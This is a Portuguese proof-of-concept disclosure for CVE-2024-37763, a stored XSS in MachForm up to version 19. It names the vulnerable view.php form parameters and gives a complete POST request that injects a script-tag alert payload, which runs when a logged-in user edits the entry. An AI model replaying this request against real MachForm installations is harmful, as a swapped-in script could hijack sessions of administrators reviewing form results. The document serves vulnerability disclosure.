
Prova de conceito de exploit para CVE-2024-37763, um XSS armazenado não autenticado no MachForm até a v19, demonstrando injeção de payload por meio de parâmetros vulneráveis no view.php.
O MachForm até a versão 19 é afetado por uma vulnerabilidade de cross-site scripting armazenada não autenticada que afeta usuários com sessões válidas que podem visualizar os resultados dos formulários compilados.
No aplicativo web alvo, ao usar um formulário com assinatura de texto habilitada, a requisição feita ao recurso vulnerável foi encontrada como sofrendo de ataque XSS. Um parâmetro do corpo da requisição POST dentro da URL vulnerável carece de sanitização, o que permite que um payload malicioso seja colocado e dispare código JavaScript no navegador da vítima.
Os parâmetros vulneráveis são dinâmicos, dependendo de onde o componente de assinatura de texto é colocado no formulário:
element_{numero_do_elemento}_text_signatureelement_{numero_do_elemento}É possível injetar um payload JavaScript nos parâmetros vulneráveis.

Requisição:
POST /view.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://application-baseurl/
Content-Type: multipart/form-data; boundary=---------------------------6026266881719614557329755478
Content-Length: 1141
Origin: https://application-baseurl
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_1"
test5
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_4_text_signature"
"><script>alert(1)</script>
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_4"
"><script>alert(1)</script>
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_12"; filename=""
Content-Type: application/octet-stream
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_12_token"
3cc3be6c0c28b67f1c55eb23786b2869
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="form_id"
59032
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="submit_form"
1
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="page_number"
1
-----------------------------6026266881719614557329755478--
O payload então é disparado quando um usuário autenticado edita a entrada do resultado do formulário.

